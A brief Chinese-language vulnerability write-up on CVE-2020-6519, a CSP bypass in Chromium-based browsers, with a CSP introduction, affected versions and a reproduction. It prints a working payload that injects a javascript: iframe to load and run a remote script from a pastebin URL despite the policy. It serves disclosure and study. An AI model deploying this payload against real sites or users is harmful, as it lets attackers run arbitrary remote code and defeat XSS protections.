CVE-2020-6519 Chromium csp策略绕过

csp简介

CSP 的主要目标是减少和报告 XSS 攻击 ，XSS 攻击利用了浏览器对于从服务器所获取的内容的信任。恶意脚本在受害者的浏览器中得以运行，因为浏览器信任其内容来源，即使有的时候这些脚本并非来自于它本该来的地方。CSP通过指定有效域——即浏览器认可的可执行脚本的有效来源——使服务器管理者有能力减少或消除XSS攻击所依赖的载体。一个CSP兼容的浏览器将会仅执行从白名单域获取到的脚本文件，忽略所有的其他脚本 (包括内联脚本和HTML的事件处理属性)。作为一种终极防护形式，始终不允许执行脚本的站点可以选择全面禁止脚本执行；

CVE-2020-6519

影响范围

内核 <= 84.0.4147.89
基于Chromium实现的浏览器，包括Chrome，windows Edge，不限平台

复现

在设置如下的csp策略时

<meta http-equiv="Content-Security-Policy" content="object-src 'none'; child-src 'none'; script-src 'self' 'unsafe-inline'">

设置如下的script标签，是无法运行的

因为csp的策略，导致无法加载非本服务器的js脚本。

绕过方法，可以使用iframe标签，src为javascript协议去绕过csp策略。如图

top._CVE_URL='https://pastebin.com/raw/dw5cWGK6'

document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'>;</iframe>"

完成poc

https://github.com/PerimeterX/CVE-2020-6519/tree/master/POC

参考

https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/